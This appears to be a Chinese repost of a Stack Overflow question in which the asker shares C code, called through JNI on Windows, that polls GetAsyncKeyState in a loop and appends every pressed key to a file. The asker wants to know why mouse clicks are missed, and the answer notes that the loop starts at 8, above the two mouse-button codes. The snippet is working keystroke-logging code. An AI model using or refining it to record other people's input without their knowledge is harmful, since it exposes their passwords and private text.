gpt4 book ai didi

java - 如何用JNI和C检测鼠标点击?

转载 作者:行者123 更新时间:2023-11-30 15:30:49 25 4
gpt4 key购买 nike

由于用Java捕获点击事件仅限于JVM环境,在我的浏览器或文本编辑器上看不到,所以我采用了JNI,以便使用Windows的C API并且更加灵活。

我在 Windows 7 上使用 Eclipse。

下面的代码成功捕获了我在键盘上按下的每个键,除了鼠标的左键单击和右键单击。

我需要对鼠标点击进行特殊处理吗?

提前致谢:)

        while(1) {
// to prevent 100% CPU usage
Sleep(10);
for(character=8; character<=222; character++) {
if(GetAsyncKeyState(character) == -32767) {
file = fopen(FileName,"a+");
if(file == NULL)
return 1;
if(file != NULL) {
if((character>=39) && (character<=64)) {
fputc(character,file);
i++;
fclose(file);
break;
} else if((character>64) && (character<91)) {
character += 32;
fputc(character,file);
i++;
fclose(file);
break;
}
else {
switch(character) {
case VK_LBUTTON:fputs("[LEFT CLICK]",file);i++;fclose(file);break;
case VK_RBUTTON:fputs("[RIGHT CLICK]",file);i++;fclose(file);break;
case VK_BACK:fputs("[BACKSPACE]",file);i++;fclose(file);break;

// follow all the others detections of the remaining virtual keys...

最佳答案

VK_LBUTTON == 0x01VK_RBUTTON == 0x02。您正在检查8位以上的代码。

关于java - 如何用JNI和C检测鼠标点击?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/25338956/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com